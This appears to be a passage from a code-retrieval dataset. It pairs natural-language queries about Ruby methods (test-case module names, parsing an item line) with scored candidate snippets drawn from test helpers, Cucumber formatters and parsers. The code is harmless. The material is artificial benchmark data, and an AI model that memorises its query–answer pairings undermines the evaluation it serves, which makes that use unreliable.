@reportiumClient.testStart(self.name, TestContext.new('Tag2', 'Tag3'))\r\n \r\n # Write your code here\r\n \r\n # @reportiumClient.testStep('step 1')\r\n # add commands ...\r\n # @reportiumClient.testStep('step 2')\r\n # add commands ...\r\n \r\n rescue Exception => exception\r\n @exception = exception\r\n raise exception\r\n end\r\n end", "title": "" }, { "docid": "ed30c4aef3cc12fd76703223a9285bd3", "score": "0.5890219", "text": "def before_start; end", "title": "" }, { "docid": "5db1548024c5f886d5ca82b9c873f973", "score": "0.5888488", "text": "def step msg\n logger.info 'STEP ' + msg\n end", "title": "" }, { "docid": "793e7197590c0386e64da978bdd30854", "score": "0.58832896", "text": "def step_definition; end", "title": "" }, { "docid": "793e7197590c0386e64da978bdd30854", "score": "0.58832896", "text": "def step_definition; end", "title": "" }, { "docid": "049fd4832a73d5bfa43d9ea6d3ebf90d", "score": "0.58812255", "text": "def before_step context\n\t context\n\t end", "title": "" }, { "docid": "29875533a92649c942821abdb00313a5", "score": "0.58719695", "text": "def step\n # ss\n raise NotImplementedError, 'Abstract method'\n end", "title": "" }, { "docid": "e3b7999c04707c0d634529c5688d903b", "score": "0.586878", "text": "def tc_before_step_result(exception, keyword, multiline_arg, source_indent, status, step_match, background, file_colon_line)\n finished_at_ms = get_current_time_in_ms\n duration_ms = finished_at_ms - @current_step_start_time\n @current_step_start_time = nil\n @handled_exception = exception\n\n # Actually cucumber standard formatters doesn't count BG steps in\n # context of Background element. Instead it count such steps in each\n # affected scenario\n if @in_background\n return\n end\n\n # Also cucumber standard formatter doesn't count ScenarioOutline steps descriptions\n # e.g.\n # ------\n # Given there are <start> cucumbers # features/step_definitions/common_step.rb:13\n # ------\n # in this case let do not report always ignored step, but just output step definition in console\n\n is_fake_outline_step = !@in_outline_scenario_stack.empty? && # if there is no active outline - all is ok\n @in_outline_scenario_stack.last && # if not in scenario_outline - steps will be ok\n !@in_outline_examples # examples contains correct steps\n if is_fake_outline_step\n return\n end\n\n name = step_match.format_args(lambda { |a| a })\n # New cucumber API reports file colon line, in old version we had to\n # fetch it using reflection, see https://github.com/cucumber/cucumber/issues/179\n file_colon_line = file_colon_line || fetch_file_colon_line(name, step_match)\n\n # Now we can report step as test\n step_line = \"#{keyword} #{name}\"\n log_test_opened(step_line, file_colon_line)\n\n # log tags because the are reported before step name\n print_current_tags\n\n diagnostic_info = \"cucumber f/s=(#{finished_at_ms}, #{@current_step_start_time}), duration=#{duration_ms}, time.now=#{Time.now.to_s}\"\n log_status_and_test_finished(status, step_line, duration_ms, exception, multiline_arg, keyword, diagnostic_info)\n end", "title": "" } ]
4735a74e10548e41afd5e7d24072ffa1
Returns the modulename for this testcase superclass. It is used by factory for categorizing tests.
[ { "docid": "34311c604702dc3a46807569f52859a7", "score": "0.0", "text": "def modulename\n \"cloudconfig\"\n end", "title": "" } ]
[ { "docid": "18261794d8f57ea5a6716246faebe780", "score": "0.73628956", "text": "def test_case_name\n @test_case_name ||= class_name + 'Test'\n end", "title": "" }, { "docid": "c5c5e2db6ccbf12d4d5277b651ee50ab", "score": "0.7231245", "text": "def full_test_case_name\n full_class_name + 'Test'\n end", "title": "" }, { "docid": "2e9df5aef41c45778fbf1b76d8052454", "score": "0.718538", "text": "def test_name\n self.class.test_name\n end", "title": "" }, { "docid": "b78d0327b1bcb981c784cc88f1ceef7f", "score": "0.71808213", "text": "def default_base_fixture_name( mod )\n\t\tmodname = mod.name or return nil\n\t\tname = Inflecto.singularize( Inflecto.demodulize(modname).downcase )\n\t\treturn name.to_sym\n\tend", "title": "" }, { "docid": "2dd7dfa592df4024edcf3054f12e6b69", "score": "0.7146391", "text": "def class_name\n @test_case['classname']\n end", "title": "" }, { "docid": "2dd7dfa592df4024edcf3054f12e6b69", "score": "0.7146391", "text": "def class_name\n @test_case['classname']\n end", "title": "" }, { "docid": "2dd7dfa592df4024edcf3054f12e6b69", "score": "0.7146391", "text": "def class_name\n @test_case['classname']\n end", "title": "" }, { "docid": "e12e1fb010ce37e18e1f47eafee77636", "score": "0.704214", "text": "def parent_module_name; end", "title": "" }, { "docid": "2996f739c66f3c774b0627d6ffdccbce", "score": "0.6908062", "text": "def parent_name\n modules.first.singularize.underscore\n end", "title": "" }, { "docid": "cc8758a84c65cb1c167bea1117673881", "score": "0.68791175", "text": "def base_class_name\n self.klass.name.demodulize\n end", "title": "" }, { "docid": "8e8c0458d8822d95135f869931593c6d", "score": "0.6870744", "text": "def modular_class_name\n @modular_class_name.singularize\n end", "title": "" }, { "docid": "95be244956f3bea2e9b4a43ec0032969", "score": "0.6867259", "text": "def module_parent_name; end", "title": "" }, { "docid": "f4c8a806706c29948eb195ec982a4cce", "score": "0.686702", "text": "def modular_class_name\n @modular_class_name\n end", "title": "" }, { "docid": "f4c8a806706c29948eb195ec982a4cce", "score": "0.686702", "text": "def modular_class_name\n @modular_class_name\n end", "title": "" }, { "docid": "ceacd134105d37b25ddb01b1985ccbfc", "score": "0.68557507", "text": "def tst_suite_name\n self.class.name\n end", "title": "" }, { "docid": "80ce874d8d32c31c01e7e6ff40a4b450", "score": "0.68491614", "text": "def name\n \"#{@mod}::#{@name}\"\n end", "title": "" }, { "docid": "aa370b9cd3b7d0346421a4e58cd7f8aa", "score": "0.6828116", "text": "def tst_case_name\n if defined?(MiniTest::Unit::TestCase) && self.class.ancestors.include?(MiniTest::Unit::TestCase)\n @__name__\n else\n name.split('(').first\n end\n end", "title": "" }, { "docid": "816bc4762e67a6ec86e96ea121a4370b", "score": "0.6816917", "text": "def identifier\n class_name = self.class_name ? self.class_name + '/' : ''\n \"#{@test_suite.identifier}/#{class_name}#{name.underscore}\"\n end", "title": "" }, { "docid": "816bc4762e67a6ec86e96ea121a4370b", "score": "0.6816917", "text": "def identifier\n class_name = self.class_name ? self.class_name + '/' : ''\n \"#{@test_suite.identifier}/#{class_name}#{name.underscore}\"\n end", "title": "" }, { "docid": "790ecdd11943bdbb87ef1cd66bbcfa38", "score": "0.68086773", "text": "def identifier\n class_name = self.class_name ? \"#{self.class_name}/\" : ''\n \"#{@test_suite.identifier}/#{class_name}#{name.underscore}\"\n end", "title": "" }, { "docid": "ae8735214119314309291442dfa312b2", "score": "0.67843914", "text": "def test_name\n self.test.name\n end", "title": "" }, { "docid": "5d1a98c6fa05f2c40ef29a48baaef784", "score": "0.6778682", "text": "def module_name; end", "title": "" }, { "docid": "002a03e430482ea1b6ad67be3e8e543d", "score": "0.67785853", "text": "def get_module_name( class_name )\n\t\tif class_name =~ /\\w+#{self.factory_type}/\n\t\t\tmod_name = class_name.sub( /(?:.*::)?(\\w+)(?:#{self.factory_type})/, \"\\\\1\" )\n\t\telse\n\t\t\tmod_name = class_name\n\t\tend\n\n\t\treturn mod_name\n\tend", "title": "" }, { "docid": "b2e9c9750a570dc1f057cd680a1b49e8", "score": "0.67067856", "text": "def module_name\n @module_name ||= name.split('::').last\n end", "title": "" }, { "docid": "6da9e91920627e16cd28b659950c9ae7", "score": "0.6693987", "text": "def original_name\n module_name\n end", "title": "" }, { "docid": "42aeeb1bde489a8b9cd9bb0731eba3c3", "score": "0.6632994", "text": "def modulename\n @data['driver-module-name']\n end", "title": "" }, { "docid": "4494374becaeeb1525d2fd6862970556", "score": "0.6620002", "text": "def module_name\n @module_name ||= module_metadata.data['name'].rpartition('-').last\n end", "title": "" }, { "docid": "6fdcf215aa5cc9c4f6738077593950d7", "score": "0.6617962", "text": "def base_name\n base.name\n end", "title": "" }, { "docid": "102824b3537269736ded953b5627b83f", "score": "0.661503", "text": "def generate_name\n self.class.name.split(\"::\").last\n end", "title": "" }, { "docid": "102824b3537269736ded953b5627b83f", "score": "0.661503", "text": "def generate_name\n self.class.name.split(\"::\").last\n end", "title": "" }, { "docid": "7f2f968b9043f4add9d3d542638d2db1", "score": "0.655309", "text": "def module_name?; end", "title": "" }, { "docid": "8dde394a2cf9616c1c774596b3f00226", "score": "0.6503475", "text": "def base_name; end", "title": "" }, { "docid": "8dde394a2cf9616c1c774596b3f00226", "score": "0.6503475", "text": "def base_name; end", "title": "" }, { "docid": "c6c6dab921a65ded78aa94c4af7a2337", "score": "0.6499954", "text": "def name\n if @name.nil?\n self.name = Modulefile.name ||\n metadata['name'] ||\n ENV['MODULE_NAME'] ||\n File.basename(Dir.pwd)\n end\n @name\n end", "title": "" }, { "docid": "f4aaad0c2b2a98e2ddc4c18d066f9647", "score": "0.6473905", "text": "def logger_name\n if self.is_a? Module\n self.name.downcase\n else\n self.class.name.downcase\n end\n end", "title": "" }, { "docid": "71dc9c411a9b74972a80837ddf298d50", "score": "0.64623356", "text": "def myname\n self.class.to_s\n end", "title": "" }, { "docid": "3ced29a3f435a0b95c117f3c95e65595", "score": "0.6447858", "text": "def current_test_name\n @test_type ||= super # rubocop: disable Naming/MemoizedInstanceVariableName\n end", "title": "" }, { "docid": "3893af84ff7a11138f465dfa1ab94bee", "score": "0.643773", "text": "def name\n raise 'Should be overridden by subclass.'\n end", "title": "" }, { "docid": "b50ebfc435061ef5c31b819ee54444e5", "score": "0.6428624", "text": "def current_extend_class_name\n @klass.extend_class_name\n end", "title": "" }, { "docid": "0d865468a49146645d38c78ef0ebf111", "score": "0.6428509", "text": "def module_name\n @module_name || app_name.camelcase(:upper)\n end", "title": "" }, { "docid": "553374dc8962d617f4ac29ebdcaefb6a", "score": "0.64220834", "text": "def name()\n\t\t\traise NotImplementedError, \"Implement name() method in child class\"\n\t\tend", "title": "" }, { "docid": "8d9cfcb6fc14ff825ecc8effc51d67e7", "score": "0.6419865", "text": "def name\n @name ||= klass.name.gsub(/.*::/, '').underscore\n end", "title": "" }, { "docid": "b4642d00dc39f94df0a1289324959140", "score": "0.64098704", "text": "def name\n Module.nesting[0].to_s\n end", "title": "" }, { "docid": "a6a4734e513ccf51e305a1e10d804a1a", "score": "0.6401241", "text": "def class_name\n self.class.name.demodulize\n end", "title": "" }, { "docid": "e171e7bcd14ab0afbff0d364d5c9f22f", "score": "0.6374298", "text": "def class_module_name(klass)\n klass.class.name.split(\"::\").first\n end", "title": "" }, { "docid": "1ccf7cc5486a8332fbaa704ce4d03b85", "score": "0.6359654", "text": "def suite_name\n \"Test#{@context.suite.camelize}\" if @context.suite\n end", "title": "" }, { "docid": "1ac69cb3b8b28fb5e83ca3a5da567b1c", "score": "0.63543177", "text": "def name\n @name ||= ['', *@module_path, @class_name] * '::'\n end", "title": "" }, { "docid": "3875c66be7382c144f5ed826ebed5422", "score": "0.63522434", "text": "def full_name\n m = self.module\n RDoc::ClassModule === m ? m.full_name : @name\n end", "title": "" }, { "docid": "2fe4356f50edbbbc52fe129c0e5e0c72", "score": "0.6352177", "text": "def name\n @modulefile ? metadata['name'] : metadata['name'].split('-',2)[1]\n end", "title": "" }, { "docid": "744aa191996d2db6d5d94ba4cd997eec", "score": "0.634564", "text": "def module_parent\n module_parent_name ? ActiveSupport::Inflector.constantize(module_parent_name) : Object\n end", "title": "" }, { "docid": "0168c243e2b0d16232b171eb2acde232", "score": "0.6344879", "text": "def name\n super.to_s\n end", "title": "" }, { "docid": "a41f9d8a74e9135b63cc74db047c12c1", "score": "0.6322805", "text": "def name\n return @method_name.to_s.sub(/^test_/, \"\")\n end", "title": "" }, { "docid": "74454b06d084ad26f7ddd1d763e56608", "score": "0.6317857", "text": "def name\n @test_case['name']\n end", "title": "" }, { "docid": "74454b06d084ad26f7ddd1d763e56608", "score": "0.6317857", "text": "def name\n @test_case['name']\n end", "title": "" }, { "docid": "74454b06d084ad26f7ddd1d763e56608", "score": "0.6317857", "text": "def name\n @test_case['name']\n end", "title": "" }, { "docid": "09e6e69f0aeb515ba5928517feb0c4e4", "score": "0.6293334", "text": "def name_for(entity_id)\n name = entity_class.name.to_s.split(\"::\").last\n \"mock-#{name.downcase}-#{entity_id}\"\n end", "title": "" }, { "docid": "860c0c502a353d2a81d8243e972edf1f", "score": "0.628906", "text": "def name\n super.to_s\n end", "title": "" }, { "docid": "3cfb4748144652950a6bd2dbd6c7de08", "score": "0.6255599", "text": "def class_name\n self.to_s.split(\"::\").last\n end", "title": "" }, { "docid": "1e8932bb3f2132aa6cc7de256c621e4d", "score": "0.6251935", "text": "def default_name\n underscore_factory(self.class_name_without_kvo.demodulize).gsub(/\\_section$/, '')\n end", "title": "" }, { "docid": "9601beb5e60cc25854a00f0c64c5638f", "score": "0.62399805", "text": "def module_name\n return @module_name if defined? @module_name\n\n if sub_names.size == 0\n @module_name = ''\n elsif sub_names.size == 1 && full_name.end_with?('.')\n @module_name = sub_names[0]\n elsif sub_names.size == 1\n @module_name = ''\n else\n @module_name = sub_names[0..-2].join('.')\n end\n end", "title": "" }, { "docid": "8b731b7b9243d0a0381d08602d7f7825", "score": "0.62357897", "text": "def hname()\n\t\t\traise NotImplementedError, \"Implement hname() method in child class\"\n\t\tend", "title": "" }, { "docid": "a9db2a2ec8e0809e7e55114d588906de", "score": "0.6235361", "text": "def super_class_name\n super_class.name if @clazz.super_class\n end", "title": "" }, { "docid": "5c46833bd760c8ca2e3c6e5b4e828d39", "score": "0.6233461", "text": "def module_name\n self[1] if :module == sexp_type\n end", "title": "" }, { "docid": "64a3ab84952d7dce8019efa4307552ae", "score": "0.6227392", "text": "def human_name\n 'base'\n end", "title": "" }, { "docid": "89cf94c8cedd92a6a92fa7ab1c4d6596", "score": "0.6218426", "text": "def name\n self.class.to_s.gsub(/^.*::/, \"\")\n end", "title": "" }, { "docid": "06492e31274900b6f8c1f09cab5b5bad", "score": "0.6218306", "text": "def class_name\n self.class.to_s.split(\"::\").last.downcase\n end", "title": "" }, { "docid": "c6a4b0f556e2f5501b46a88203a09d79", "score": "0.62128276", "text": "def name()\n self.class.name.split(\"::\").last().downcase()\n end", "title": "" }, { "docid": "c99928d6ca900e5c937f88692010825f", "score": "0.619542", "text": "def class_name\n self.class.to_s.split('::').last\n end", "title": "" }, { "docid": "93318b6f277a27a00670061551eca038", "score": "0.6190311", "text": "def classname\n @name\n end", "title": "" }, { "docid": "93318b6f277a27a00670061551eca038", "score": "0.6190311", "text": "def classname\n @name\n end", "title": "" }, { "docid": "def5ea4941738820f6f9f63f42ce4862", "score": "0.618719", "text": "def name\n self.class.name.split(\"::\").last\n end", "title": "" }, { "docid": "100054701c30923a2e2a263acb295f26", "score": "0.618353", "text": "def module_name\n\n return nil if root?\n\n @module_name ||= name.to_s.camelize\n\n end", "title": "" }, { "docid": "018d12acf03f7a50f452a8f5a866cfca", "score": "0.618335", "text": "def name\n \"Module\"\n end", "title": "" }, { "docid": "facabd3bb8fa280cee5833c9a7bdd767", "score": "0.6182568", "text": "def class_name\n self.class.to_s.split('::').last.downcase\n end", "title": "" }, { "docid": "631e5df81cb5d908ca592dc8ac609c25", "score": "0.61813325", "text": "def name\n self.class.name.to_s.split('::').last\n end", "title": "" }, { "docid": "504b7c28dab819bf43e2c66d725d38a3", "score": "0.6177157", "text": "def class_name\n self.class.name.split(\"::\").last.downcase\n end", "title": "" }, { "docid": "d75f311f3f633591d03fa93338e2e7ef", "score": "0.6177069", "text": "def test_name \n Kernel.caller.each do | callr |\n caller_m = callr.match(/`(test_.+)'/)\n return humanize( caller_m[1] ) if caller_m and caller_m[1]\n end\n \"Test case\"\n end", "title": "" }, { "docid": "e7d22e45c2f335c67f8751577887d0c1", "score": "0.6175351", "text": "def model_name\n superclass.model_name\n end", "title": "" }, { "docid": "c3178288f52acaa8e685ef0f7d3fcbb8", "score": "0.61656576", "text": "def name\n self.class.name.split('::').last.downcase\n end", "title": "" }, { "docid": "b96e02f605d2630b21b2bb0d9bfabb0b", "score": "0.6157504", "text": "def name\n self.class.name.split('::').last\n end", "title": "" }, { "docid": "b96e02f605d2630b21b2bb0d9bfabb0b", "score": "0.6157504", "text": "def name\n self.class.name.split('::').last\n end", "title": "" }, { "docid": "b96e02f605d2630b21b2bb0d9bfabb0b", "score": "0.6157504", "text": "def name\n self.class.name.split('::').last\n end", "title": "" }, { "docid": "b96e02f605d2630b21b2bb0d9bfabb0b", "score": "0.6157504", "text": "def name\n self.class.name.split('::').last\n end", "title": "" }, { "docid": "b96e02f605d2630b21b2bb0d9bfabb0b", "score": "0.6157504", "text": "def name\n self.class.name.split('::').last\n end", "title": "" }, { "docid": "61113ae66780924cb208e46ac211b838", "score": "0.6155794", "text": "def new_test_file_name\n generate_name(\"New test file\")\n end", "title": "" }, { "docid": "2333bcd56741c01fb6a1ae243e35f9de", "score": "0.6150832", "text": "def name\n @name ||= Rails.application.class.parent.name\n end", "title": "" }, { "docid": "f80792723fdbcb1895cf0423ad20fc50", "score": "0.6149688", "text": "def class_name\n self.class.name.split(\"::\").last\n end", "title": "" }, { "docid": "915c5c0cb300952be762c0d4de016ba2", "score": "0.61491656", "text": "def get_module_name\n \n return :entity_management\n \n end", "title": "" }, { "docid": "07560ef8fc537ed5d005d47f41a27b01", "score": "0.6141508", "text": "def tst_project_name\n self.class.instance_variable_get('@test_proj')\n end", "title": "" }, { "docid": "059572cbfe0513aa4381469f891a7315", "score": "0.6136925", "text": "def name\n self.class.name.split('::').last\n end", "title": "" }, { "docid": "1489b95f79c5123f65af18d51b57c073", "score": "0.61322266", "text": "def module_parent_name mod\n mod.name =~ /::[^:]+\\Z/ ? $`.freeze : nil\n end", "title": "" }, { "docid": "3714f2ad203033cd0d43577abc5b594e", "score": "0.6131667", "text": "def partial_name\n self.class.name.demodulize.underscore\n end", "title": "" }, { "docid": "f572b72605e0b8a8edf2c009e8d8d4c1", "score": "0.61221284", "text": "def getModuleName\r\n\t\t\t\t\treturn @moduleName\r\n\t\t\t\tend", "title": "" }, { "docid": "f895927d39df060234fdf56c047a9d1e", "score": "0.61214316", "text": "def name\n return unless defined?(Rails) && Rails.application\n\n if Rails.application.class.respond_to?(:module_parent)\n Rails.application.class.module_parent.name\n else\n Rails.application.class.parent.name\n end\n end", "title": "" }, { "docid": "58f52ef712a97e4d45bfeb557e245a87", "score": "0.61171615", "text": "def name\n self.class.name.split('::').last.capitalize\n end", "title": "" }, { "docid": "bd2a6dc7d09114fe3ca1f851e48e310b", "score": "0.6109837", "text": "def base_name\n @base_name ||= begin\n if base = name.to_s.split(\"::\").first\n base.underscore\n end\n end\n end", "title": "" }, { "docid": "955f59536970bbc4a9ac96b4ce8d2a5a", "score": "0.61075133", "text": "def controller_superclass_name\n Frontier::Controller::SuperClassName.new(model).to_s\n end", "title": "" }, { "docid": "5ffb25bb6de398db660b368b95ed323b", "score": "0.609838", "text": "def class_name\n @class_name ||= derive_class_name\n end", "title": "" }, { "docid": "4ba977caba519faa2f3f9e95cb9b1f3e", "score": "0.60950375", "text": "def name\n raise RuntimeError, 'Subclass responsibility'\n end", "title": "" }, { "docid": "136d0a9c5fd26413b0ce3baceb7e57ef", "score": "0.6095037", "text": "def class_basename\n self.name.split('::').last\n end", "title": "" }, { "docid": "b165840737dd4f4d14e3fb6756636da5", "score": "0.60828745", "text": "def default_class_name\n self.class.name.demodulize.underscore\n end", "title": "" } ]
97af8c5881458ceb3f4a03f1b87aa254
Parses an item line.
[ { "docid": "396b4dc24ebf07ef30dfe5c67e26a2e4", "score": "0.7401046", "text": "def parse_item(line)\n leader = line =~ /-/\n line[(leader + 2)..-1]\n end", "title": "" } ]
[ { "docid": "af3897c6203955ca39916760eaf37cac", "score": "0.70335656", "text": "def parse_line_items line\n if line.count != 5\n puts \"Incorrect blockchain format\"\n exit()\n end\n \n return line[0], line[1], line[2], line[3], line[4]\n end", "title": "" }, { "docid": "5ae3a0c64a89ea49cc5198cf86592d2d", "score": "0.6950444", "text": "def createItemFromLine(line)\n line_items = [] \n \t\t\t# is this line needed?\n line_items = line.split(\"|\")\n \n # a valid inventory line should have six fields\n if line_items.length != 6\n return nil\n end\n item = InventoryItem.new\n item.initFrom(line_items)\n return item\n end", "title": "" }, { "docid": "a6585634d875e98361478523ccfa4406", "score": "0.6946187", "text": "def parse_line(line)\n results = LineRegexp.match(line)\n if results\n if results[1] =~ /\\./\n @elements[:shop] = results[1]\n @elements[:line] = results[-1]\n results[-1]\n else\n @elements[:line] = line\n line\n end\n else\n @elements[:line] = line\n line\n end\n end", "title": "" }, { "docid": "22e18e39cb31f42458b9017eec1fc275", "score": "0.68116707", "text": "def parse_item(text)\n text, rule = text.split('{')\n Item.new(text.strip, parse_rule(rule), [])\n end", "title": "" }, { "docid": "b4206992942148dd726363c4136f2860", "score": "0.6689963", "text": "def parse(unparsed_line); end", "title": "" }, { "docid": "ca6926e3a08532996664ebeddd225fff", "score": "0.66111636", "text": "def parse_line(line)\n results = LineRegexp.match(line)\n if results \n @elements[:timestamp] = results[1]\n @elements[:line] = results[-1]\n results[-1] # remaining line \n else\n @elements[:line] = line\n line \n end\n end", "title": "" }, { "docid": "857531fede089c9664a5360e87916626", "score": "0.6559968", "text": "def parse_one_dateline_item(_dateitem_line)\n begin\n ddata = _dateitem_line.split\n if ddata.length != 3 then\n raise RuntimeError.new(\"illegal conference dateline line\\n\")\n end\n\n assert(ddata[0] == 'DATELINE',\n 'Internal error. the command must be DATELINE here')\n\n # get date\n ymd_array = ddata[1].split(\"/\")\n date_time = Date::new(ymd_array[0].to_i, ymd_array[1].to_i, ymd_array[2].to_i)\n date_label = ddata[2]\n\n date_line_entry = One_date_line_entry.new()\n date_line_entry.set_entry(date_time, date_label)\n\n # DEBUG:\n # date_line_entry.printout()\n\n @date_line_array << date_line_entry;\n end\n end", "title": "" }, { "docid": "a8fe08e3d7c60c41e19c5589a3f8b238", "score": "0.6532625", "text": "def parse(line)\n raise NotImplementedError, \"please implement #parse in #{self.class}\"\n end", "title": "" }, { "docid": "657b7489f96f5f778a95400958f68a02", "score": "0.65037364", "text": "def parse\n @body.each_line do |line|\n next new_item(Regexp.last_match(1)) if line =~ ID_MATCHER\n\n key, value = line.strip.split('=')\n next if key.nil?\n\n current[key] = value\n end\n @items << current\n end", "title": "" }, { "docid": "30d7e789f04c68be9818522d86561711", "score": "0.6425142", "text": "def parse_items\n one_star method(:parse_item)\n end", "title": "" }, { "docid": "67a228d58add45f09aa0a266a5d0ade2", "score": "0.64188737", "text": "def parse_item(key, line)\n item = line.to_s\n\n Hash[*item.sub(item_re(key), '').split(/; /).map { |item|\n item.split(/=/)\n }.flatten]\nend", "title": "" }, { "docid": "d8c4294601a02e4d2ae8bd3840dcd99e", "score": "0.6335716", "text": "def processExpenseItem(_line)\n return nil if _line.chomp.strip.empty?\n puts \"processing item '#{_line}'\" if @options.debug\n a,not_needed,d = /(\\d+)(\\s*)(.*)/.match(_line).captures\n not_needed=nil #ruby lint complains if you dont use the variable\n item = Hash.new\n item[:description] = d.chomp.strip\n\n # ----- assign category -----\n @categories.each do |kv|\n if (d.strip.to_s.downcase.include? kv[0].to_s.downcase) then\n item[:category] = kv[1]\n break\n else\n item[:category] = 'Unknown'\n end\n end\n\n # -- get exchange rate\n if item[:description].include? \"USD\" then\n item[:amount] = (a.to_f).round(2)\n else\n item[:amount] = (a.to_f / @rate).round(2)\n end\n\n # -- formate the date\n item[:date] = @currDate.strftime(@date_format)\n\n return \"#{item[:date]},#{item[:description]},#{item[:amount]},#{item[:category]}\"\nend", "title": "" }, { "docid": "3b236dd58575f7a370df0c620fe08d68", "score": "0.63032395", "text": "def parse_item\n pos = @input.pos\n groups = parse_groups\n name = parse_name or return rollback(pos)\n @encoding = nil\n params = parse_params\n @input.skip(COLON) or return rollback(pos)\n value = parse_value or return rollback(pos)\n @input.skip(ONE_OR_MORE_CRLF) or return rollback(pos)\n { :groups => groups, :name => name, :params => params, :value => value }\n end", "title": "" }, { "docid": "37de36a13e945cd659082fe347c0c360", "score": "0.62745917", "text": "def parse_line(line)\n parse_each(line).first\n end", "title": "" }, { "docid": "3c2f9ddada9e0acb7f01314feffdc430", "score": "0.6272315", "text": "def line_items\n attributes['items'].map{|item| Item.new(item['name'], item['unit_price'], item['units'])}\n end", "title": "" }, { "docid": "45edf7fdb0e0cd6c0f66deb329362243", "score": "0.62484396", "text": "def parseline(line)\n id = line[0, 9]\n tag = line[10, 3]\n ind1 = line[13, 1]\n ind2 = line[14, 1]\n value = line[18..-1]\n return [id, tag, ind1, ind2, value]\n end", "title": "" }, { "docid": "baea3449e759ccdab783c742f24996bf", "score": "0.62229025", "text": "def load_from_line\n parser = options[:parser].new(line, options)\n parser.parse!\n parser.data\n end", "title": "" }, { "docid": "885fcc63e920f39bbcb19b34416aaf04", "score": "0.6202705", "text": "def parse_line(line)\n matches = line.match(\n /^(\\d{1,2}[:.]\\d{1,2}([:.]\\d{1,2})?)?\\s*(.+?) - (.+?)$/\n )\n unless matches.nil?\n Playlist::Track.new(\n :start_time => matches[1],\n :creator => matches[3].strip,\n :title => matches[4].strip\n )\n end\n end", "title": "" }, { "docid": "7e184acce9ece37f1ffa83b3f167fde8", "score": "0.61980695", "text": "def parse_record(line); end", "title": "" }, { "docid": "04326dddafb9259a2a996d225435bdf5", "score": "0.6178664", "text": "def parse(line)\n BedEntry.parse(line)\n end", "title": "" }, { "docid": "d1d139bb073b1c9b71631fd99a6eca41", "score": "0.6165842", "text": "def next_line\n parse_line(raw_line)\n end", "title": "" }, { "docid": "6d5e5b0ce3347bc6787618ece35d3d16", "score": "0.612025", "text": "def parse(item)\t\n\t\t@asin = item['ASIN']\n\t\t@title = item['ItemAttributes']['Title'] if item['ItemAttributes']\n\t\tif item['ItemAttributes']\n\t\t @author = item['ItemAttributes']['Author'].to_s.gsub(/\\\"/, '').gsub(/[\\[\\]]/, '')\n\t\tend \n\t\t@image = item['SmallImage']['URL'] if item['SmallImage']\n\t\t@url = item['DetailPageURL']\n @price = get_price(item)\n\tend", "title": "" }, { "docid": "ed1a4073c9b06894fcc45f91a3a4280c", "score": "0.6110232", "text": "def parse(line)\n BedGraphEntry.parse(line)\n end", "title": "" }, { "docid": "f4b2402dfa9a12c5a7bff57981cdd7ca", "score": "0.60934913", "text": "def process_line line\n @logger.debug line\n\n # EOF from pipe.\n return if line.nil?\n\n # Startup version message.\n return if line =~ /^@R MPG123/\n\n # Stream information that we don't care about.\n return if line =~ /^@S /\n\n # Jump feedback.\n return if line =~ /^@J/\n\n # ID3v2 metadata tags. We pull track data from ActiveRecord instead.\n return if line =~ /^@I/\n\n # Frame info (during playback).\n if md = /^@F [0-9-]+ [0-9-]+ ([0-9.-]+) ([0-9.-]+)/.match(line)\n @status.seconds = md[1].to_f\n update_status\n return\n end\n\n # Playing status changed.\n if md = /^@P (\\d+)/.match(line)\n transition_to_state([:stopped, :paused, :playing][md[1].to_i])\n return\n end\n\n # Error.\n if md = /^@E (.+)/.match(line)\n @logger.error md[1]\n return\n end\n\n # Volume change.\n if md = /^@V (\\d+)/.match(line)\n @status.volume = md[1].to_i\n update_status\n return\n end\n\n # Unparsed!\n @logger.warn \"UNPARSED #{line}\"\n end", "title": "" }, { "docid": "b7593c8f2de72cb2c4afebc5e17255d7", "score": "0.60822207", "text": "def parse(items_string)\n items_string_array_formatted = Array.new\n items_string_array = items_string.split(/\\r?\\n/)\n items_string_array.each do |item_string|\n # remove beginning whitespace\n item_string = item_string.lstrip\n\n item_hash = Hash.new\n item_hash[:quantity] = item_string.split(' ')[0]\n item_hash[:type] = ''\n item_hash[:price] = ''\n items_string_array_formatted.push item_hash\n end\n\n items_string_array_formatted\n end", "title": "" }, { "docid": "e7cbd75702e64ffafcd7f1bb3cd45608", "score": "0.6057043", "text": "def parse_line(line, type)\n names_charges = line[68..88].split\n\n ids = line[1..32].split\n name = names_charges[0]\n charges = names_charges[1].split \",\"\n type_value = line[34..48].strip\n\n ids.each_index do |i|\n add_row({\n :id => ids[i],\n :name => name,\n :charge => charges[i],\n type => type_value.to_f\n })\n end\n end", "title": "" }, { "docid": "f2c0046d56bc0c260753c835544deaad", "score": "0.60485744", "text": "def line_item_parse(order)\n if order.line_items.kind_of?(String)\n my_line_item_hash = JSON.parse(order.line_items)\n # for edge cases where order_pull rake task saved line_items as a String type\n else\n my_line_item_hash = order.line_items\n end\n my_line_item_hash.each do |item|\n if item['properties'].empty? == false\n item['properties'].each do |prop|\n if prop['name'] == \"product_collection\" && item['subscription_id'].to_s == subscription_id\n return {\n my_title: prop['value'],\n ship_date: order.shipping_date,\n }\n end\n end\n else\n return {\n my_title: order.line_items[0][\"title\"],\n ship_date: order.shipping_date,\n }\n end\n end\n end", "title": "" }, { "docid": "e219233d201cbc23fcf968680939ceb2", "score": "0.603237", "text": "def parse_line(line)\n # Start of a new component\n if line[0...6].upcase == 'BEGIN:'\n component = @root.create_component(line[6..-1], [], false)\n\n loop do\n # Reading until we hit END:\n line = read_line\n break if line[0...4].upcase == 'END:'\n\n result = parse_line(line)\n component.add(result) if result\n end\n\n name = line[4..-1].upcase\n if name != component.name\n fail Tilia::VObject::ParseException, \"Invalid MimeDir file. expected: \\\"END:#{component.name}\\\" got: \\\"END:#{name}\\\"\"\n end\n\n component\n else\n # Property reader\n property = read_property(line)\n unless property\n # Ignored line\n return false\n end\n\n property\n end\n end", "title": "" }, { "docid": "762ab6ee04b5e38ec3524b7a0bf25a34", "score": "0.5996763", "text": "def initialize(line)\r\n parse(line)\r\n end", "title": "" }, { "docid": "4a0f049448fff6203d3a0845603ff9c9", "score": "0.59866405", "text": "def parse(string)\n @first, @last = nil, nil\n first, last = string.split(ITEM_SEPARATOR, 2)\n last = first if last.nil? # single \"A\" means \"A-A\"\n\n @first = @item_class.parse(first) unless first.to_s == \"\"\n @last = @item_class.parse(last, @first) unless last.to_s == \"\"\n return self.class.new(@item_class, @prefix, @first, @last)\n end", "title": "" }, { "docid": "b503e13571fbc5555446c7cdd87231ae", "score": "0.5978085", "text": "def set_item_line\n @item_line = ItemLine.find(params[:id])\n end", "title": "" }, { "docid": "c48621eb9b49057cb3da78cd4db4878a", "score": 